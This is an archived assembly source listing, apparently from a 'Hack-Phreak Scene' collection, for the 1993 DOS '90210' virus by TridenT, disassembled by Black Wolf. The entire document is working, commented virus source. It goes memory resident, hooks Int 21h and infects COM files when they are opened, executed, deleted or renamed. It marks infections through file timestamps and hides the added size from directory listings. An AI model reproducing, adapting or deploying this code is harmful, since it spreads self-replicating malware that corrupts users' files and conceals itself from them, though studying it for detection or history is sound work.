home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / ASM-09.ZIP / 90210.asm < prev   
Assembly Source File  |  1993-07-22  |  9KB  |  343 lines

  1. ;90210 Virus from the TridenT virus research group.
  2.  
  3. ;This is a semi-stealth virus that hides file-size changes while
  4. ;it is in memory.  It marks the files w/the timestamp.  It will
  5. ;infect COM files on open, execute, delete, and rename.  It checks
  6. ;if it is in memory by calling Int 21h with DEADh in AX and uses MCB's
  7. ;to go memory resident.
  8.  
  9. ;Disassembly by Black Wolf
  10.  
  11. .model tiny  
  12. .code
  13.  
  14.         org     100h
  15.   
  16. start:
  17.         push    ax
  18.         call    GetOffset
  19.  
  20. GetOffset:
  21.         pop     bp
  22.         sub     bp,offset GetOffset-start
  23.  
  24.         mov     ax,0DEADh
  25.         int     21h                     ;Are we installed?
  26.         cmp     ax,0AAAAh 
  27.         je      DoneInstall
  28.  
  29.         mov     ax,3521h
  30.         int     21h                     ;Get int 21 address
  31.                
  32.     db      2eh, 89h,9eh,77h,0h     ;mov cs:[OldInt21-start+bp],bx
  33.     db      2eh, 8ch, 86h, 79h, 0   ;mov word ptr cs:[OldInt21-start+2+bp],es
  34.  
  35.         mov     ax,cs
  36.         dec     ax
  37.         mov     ds,ax
  38.         cmp     byte ptr ds:[0],'Z'
  39.         jne     DoneInstall         ;Are we the last block in chain?
  40.         
  41.         mov     ax,ds:[3]               ;Get MCB size
  42.         sub     ax,38h                  ;subtract virus memory size
  43.         jc      DoneInstall             ;exit if virus > MCB
  44.  
  45.         mov     ds:[3],ax               ;Set MCB size
  46.         ;sub     word ptr ds:[12h],38h  ;Subtract virus mem from 
  47.         db      81h,2eh,12h,0,38h,0     ;top of memory in PSP
  48.         
  49.         mov     si,bp
  50.         mov     di,0
  51.         mov     es,ds:[12h]             ;Get top of memory from PSP
  52.         push    cs
  53.         pop     ds
  54.         mov     cx,287h
  55.         cld          
  56.         rep     movsb                   ;Copy virus into memory
  57.         
  58.         mov     ax,2521h        
  59.         push    es
  60.         pop     ds
  61.         mov     dx,offset Int21Handler-start
  62.         int     21h                     ;Set int 21h
  63.                
  64. DoneInstall:
  65.         mov     di,100h
  66.         lea     si,[bp+Storage_Bytes-start]
  67.         push    cs
  68.         push    cs
  69.         pop     ds
  70.         pop     es
  71.         cld 
  72.         movsw
  73.         movsb                           ;Restore Host file.
  74.         mov     bx,offset start
  75.         pop     ax
  76.         push    bx
  77.         retn                            ;Return to Host
  78.  
  79.   
  80. VirusName       db      '[90210 BH]'
  81.         
  82. OldInt21:                
  83.         dw      0                
  84.         dw      0
  85.         
  86. Int21Handler:
  87.         cmp     ax,0DEADh               ;Install Check?
  88.         jne     NotInstall   
  89.         mov     ax,0AAAAh
  90.         iret 
  91. NotInstall:
  92.  
  93.         cmp     ah,11h                  ;FCB find first
  94.         je      FCBSearch
  95.         cmp     ah,12h                  ;FCB find next
  96.         je      FCBSearch
  97.         cmp     ah,4Eh                  ;handle find first
  98.         je      HandleSearch
  99.         cmp     ah,4Fh                  ;handle find next
  100.         je      HandleSearch
  101.         
  102.         push    ax bx cx dx si di bp ds es
  103.  
  104.         cmp     ah,3Dh                  ;handle file open
  105.         je      SetupNameCheck
  106.         cmp     ax,4B00h                ;file execute
  107.         je      SetupNameCheck
  108.         cmp     ah,41h                  ;handle file delete
  109.         je      SetupNameCheck
  110.         cmp     ah,43h                  ;get/set attributes
  111.         je      SetupNameCheck
  112.         cmp     ah,56h                  ;rename file
  113.         je      SetupNameCheck
  114.         
  115.         cmp     ah,0Fh                  ;Open file w/FCB
  116.         je      TryToInfect
  117.         cmp     ah,23h
  118.         je      TryToInfect             ;Get file size
  119.         jmp     ExitInfect
  120.         
  121. FCBSearch:
  122.         jmp     FCBStealth
  123. HandleSearch:
  124.         jmp     HandleStealth
  125.  
  126. TryToInfect:
  127.         db      89h,0d6h         ;mov     si,dx
  128.  
  129.         inc     si
  130.         push    cs
  131.         pop     es
  132.         mov     di,offset ds:[Filename-start]     ;Copy filename
  133.         mov     cx,8
  134.         rep     movsb
  135.         mov     cx,3
  136.         inc     di
  137.         rep     movsb
  138.  
  139.         mov     dx,Filename-start
  140.         push    cs
  141.         pop     ds
  142.  
  143. SetupNameCheck:
  144.         db      89h, 0d6h        ;mov     si,dx
  145.         mov     cx,100h
  146.         cld 
  147.   
  148. Find_Extension:
  149.         lodsb
  150.         cmp     al,'.'                  ;Find '.'
  151.         je      CheckFilename
  152.         loop    Find_Extension
  153.         db      0e9h, 13h, 0             ;jmp     FilenameBad
  154. CheckFilename:
  155.         lodsw 
  156.         or      ax,2020h                ;Set to lowercase
  157.         cmp     ax,6F63h                ;Is it a com file?
  158.         jne     FilenameBad
  159.         lodsb        
  160.         or      al,20h
  161.         cmp     al,6Dh
  162.         jne     FilenameBad
  163.         db      0e9h, 3, 0              ;jmp     InfectFile 
  164.  
  165. FilenameBad:
  166.         jmp     ExitInfect 
  167.  
  168. InfectFile:
  169.         push    dx
  170.         push    ds
  171.         mov     ax,4300h
  172.         pushf         
  173.         call    dword ptr cs:[OldInt21-start]      ;Get Attributes
  174.         mov     word ptr cs:[FileAttribs-start],cx ;Save them
  175.         
  176.         mov     ax,4301h
  177.         xor     cx,cx
  178.         pushf           
  179.         call    dword ptr cs:[OldInt21-start]     ;Reset Attribs to 0
  180.         
  181.         mov     ax,3D02h
  182.         pushf
  183.         call    dword ptr cs:[OldInt21-start]     ;Open file
  184.         jnc     OpenGood
  185.         jmp     FileClosed
  186.  
  187. OpenGood:
  188.         xchg    ax,bx
  189.         mov     ax,5700h
  190.         pushf              
  191.         call    dword ptr cs:[OldInt21-start]      ;Get file time/date
  192.         mov     word ptr cs:[FileTime-start],cx  ;save time
  193.         mov     word ptr cs:[FileDate-start],dx  ;save date
  194.  
  195.         and     cx,1Fh
  196.         cmp     cx,1Fh
  197.         jne     NotInfected                    ;Check infection
  198.         db      0e9h, 76h, 0                   ;jmp     Close_File
  199. NotInfected:
  200.         mov     ah,3Fh                  
  201.         push    cs
  202.         pop     ds
  203.         mov     dx,Storage_Bytes-start
  204.         mov     cx,3
  205.         pushf                          
  206.         call    dword ptr cs:[OldInt21-start] ;Read in first 3 bytes
  207.  
  208.         cmp     word ptr cs:[Storage_Bytes-start],5A4Dh    
  209.         je      DoneWithFile        ;Is it an .EXE file?
  210.  
  211.         cmp     word ptr cs:[Storage_Bytes-start],4D5Ah
  212.         je      DoneWithFile        ;Alternate EXE sig?
  213.  
  214.         mov     ax,4202h
  215.         xor     cx,cx
  216.         xor     dx,dx
  217.         pushf        
  218.         call    dword ptr cs:[OldInt21-start] ;Go end of file.
  219.         
  220.         sub     ax,3                        ;Save jump size
  221.         mov     word ptr cs:[Jump_Bytes-start+1],ax
  222.         
  223.         mov     ah,40h                  
  224.         push    cs
  225.         pop     ds
  226.         mov     dx,0
  227.         mov     cx,287h
  228.         pushf          
  229.         call    dword ptr cs:[OldInt21-start] ;Append virus to file
  230.         
  231.         mov     ax,4200h
  232.         xor     cx,cx
  233.         xor     dx,dx
  234.         int     21h                          ;go back to beginning
  235.                
  236.         mov     ah,40h                  
  237.         mov     dx,Jump_Bytes-Start
  238.         mov     cx,3
  239.         pushf        
  240.         call    dword ptr cs:[OldInt21-start]      ;Write in jump
  241.         or      word ptr cs:[FileTime-start],1Fh ;Mark as infected
  242.  
  243. DoneWithFile:
  244.         mov     ax,5701h
  245.         mov     cx,word ptr cs:[FileTime-start]   
  246.         mov     dx,word ptr cs:[FileDate-start]   
  247.         pushf                               
  248.         call    dword ptr cs:[OldInt21-start] ;Restore File Date/Time
  249.  
  250. Close_File:
  251.         mov     ah,3Eh
  252.         pushf          
  253.         call    dword ptr cs:[OldInt21-start] ;Close file
  254.         
  255.         pop     ds
  256.         pop     dx                          ;Pop filename address
  257.         push    dx
  258.         push    ds
  259.         mov     ax,4301h
  260.         mov     cx,ds:[FileAttribs-start]
  261.         pushf             
  262.         call    dword ptr cs:[OldInt21-start]    ;Restore attributes
  263.  
  264. FileClosed:
  265.         pop     ds
  266.         pop     dx
  267.  
  268. ExitInfect:
  269.         pop     es ds bp di si dx cx bx ax
  270.         jmp     dword ptr cs:[OldInt21-start]  ;Jump back into Int 21h
  271.   
  272. GetDTA:
  273.         pop     si
  274.         pushf
  275.         push    ax bx es
  276.         mov     ah,2Fh
  277.         call    CallInt21
  278.         jmp     si
  279.  
  280. FCBStealth:
  281.         call    CallInt21
  282.         cmp     al,0                    ;Did call work?
  283.         jne     NoStealth
  284.         call    GetDTA
  285.         cmp     byte ptr es:[bx],0FFh   ;Extended FCB?
  286.         jne     AfterFCBAdjust
  287.         add     bx,8
  288.  
  289. AfterFCBAdjust:
  290.         mov     al,es:[bx+16h]          ;Get time stamp
  291.         and     al,1Fh
  292.         cmp     al,1Fh                  ;infected?
  293.         jne     DoneFCBStealth
  294.  
  295.         sub     word ptr es:[bx+1Ch],287h ;Subtract virus size
  296.         sbb     word ptr es:[bx+1Eh],0    ;adjust for carry
  297.         jmp     short ResetTime
  298.  
  299. HandleStealth:
  300.         call    CallInt21
  301.         jc      NoStealth 
  302.         call    GetDTA      
  303.         mov     al,es:[bx+16h]              ;Get file time
  304.         and     al,1Fh
  305.         cmp     al,1Fh
  306.         jne     DoneFCBStealth
  307.         sub     word ptr es:[bx+1Ah],287h   ;Subtract virus size
  308.         sbb     word ptr es:[bx+1Ch],0      ;adjust for carry
  309.  
  310. ResetTime:
  311.         xor     byte ptr es:[bx+16h],10h    ;Restore time to norm.
  312.  
  313. DoneFCBStealth:
  314.         pop     es bx ax
  315.         popf
  316.   
  317. NoStealth:
  318.         retf    2 
  319.  
  320. CallInt21:
  321.         pushf
  322.         call    dword ptr cs:[OldInt21-start]
  323.         retn
  324.  
  325. Storage_Bytes:                
  326.         nop
  327.         int     21h
  328.         
  329. Filename        db      8 dup (0)
  330.         db      '.'
  331. Extension       db      3 dup (0)
  332.         db      0
  333.  
  334. FileAttribs     dw      0
  335. FileTime        dw      0
  336. FileDate        dw      0
  337.  
  338. Jump_Bytes      db      0E9h, 00h, 00h
  339.  
  340. AuthorName      db      ' John Tardy / TridenT '
  341.  
  342. end     start
  343.